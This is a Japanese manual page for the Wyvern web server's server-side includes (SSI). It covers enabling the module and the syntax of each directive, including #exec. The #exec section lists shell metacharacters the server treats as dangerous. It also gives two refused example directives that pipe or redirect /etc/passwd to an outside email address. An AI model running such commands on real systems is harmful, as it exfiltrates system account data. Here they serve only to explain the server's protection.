SSIの使い方

SSI を利用する場合は、 SSI モジュールを有効にします。 wyvern.conf の SSI モジュールの設定部分のコメントを外してください。 もし、Wyvern が起動中なら設定ファイル修正後に HUP シグナルを送ってください。

Example:
# kill -HUP `cat /usr/local/wyvern/logs/wyvern.pid`
あるいは
# /usr/local/wyvern/sbin/wyvernctl restart

以下に Wyvern で利用可能な SSI の書式を示します。

<!--#config sizefmt="〜"-->

#fsize コマンドなどで表示される ファイルサイズのフォーマットを指定します。 bytes を 指定するとバイト単位で、 addrev を指定すると Bytes, KBytes, MBytes などの適切な単位で表示されるようになります。

<!--#config timefmt="〜"-->

#echo コマンドなどで時刻を表示する際の フォーマットを指定します。 には strftime(3) 内に記述されている '%' で始まる特別な表記を指定します。

<!--#include file="〜"-->
<!--#include virtual="〜"-->

指定したファイルを読み込んで表示します。 file="〜" にはファイル名を指定します。 相対パスによるファイル名の指定はできません。 virtual="〜" には仮想パス名を指定します。 仮想パス名は、「http://サーバ名/パス名」の「/パス名」の部分か 「http://サーバ名/~ユーザ名/パス名」の「/パス名」の部分です。

<!--#echo var="〜"-->

指定した環境変数の値を表示します。 には次表に示す環境変数名を指定します。

SSI の #echo 書式で利用できる環境変数一覧
環境変数説明
DOCUMENT_NAME 現在の文書のファイル名
DOCUMENT_URI 文書の仮想パス名(/docs/tutorials/foo.shtml など)
QUERY_STRING_UNESCAPED クライアントから送信された検索用文字列
DATE_LOCAL 現在の時刻(ローカル時刻)
DATE_GMT 現在の時刻(グリニッジ標準時)
LAST_MODIFIED 現在の文書の最終更新時刻

時刻の表示は、 <!--#config timefmt="..."--> で指定したフォーマットに従います。

<!--#fsize file="〜"-->
<!--#fsize virtual="〜"-->

指定したファイルのサイズを表示します。表示のフォーマットは <!--#config sizefmt="..."--> で指定した内容に従います。 file="〜" と virtual="〜" の内容は #include コマンドと同様です。

<!--#flastmod file="〜"-->
<!--#flastmod virtual="〜"-->

指定したファイルの最終更新時刻を表示します。表示のフォーマットは <!--#config timefmt="..."--> で指定した内容に従います。 file="〜" と virtual="〜" の内容は #include コマンドと同様です。

<!--#exec cmd="〜"-->

〜で指定したコマンドを実行し、その結果を表示します。 引数の指定は、空白で区切って指定します。

  <!--#exec cmd="/bin/ls -l /home/kouichi/"-->

コマンド名は、必ず絶対パスで指定しないと正常に動作しないので、 注意してください。コマンド実行時の環境変数は、 CGI 環境変数一覧で示した内容が渡ります。

また、 &;`'\"|*?~<>^()[]{}$\n\r などの シェルのメタ文字を含むコマンドは、 セキュリティ上危険であると判断して実行しません。 同時に、ErrorLog で指定されたファイルにコマンドが記録されます。

次のような既述は問題があり、コマンドは実行されません。

  • <!--#exec cmd="/bin/cat /etc/passwd|mail kouichi@MysticWALL.COM"-->
  • <!--#exec cmd="mail kouichi@MysticWALL.COM < /etc/passwd"-->


Last Modified: $Date: 2004/01/11 13:24:42 $
Copyright © 2000-2002 Kouichi ABE (WALL) / 阿部康一, All rights reserved.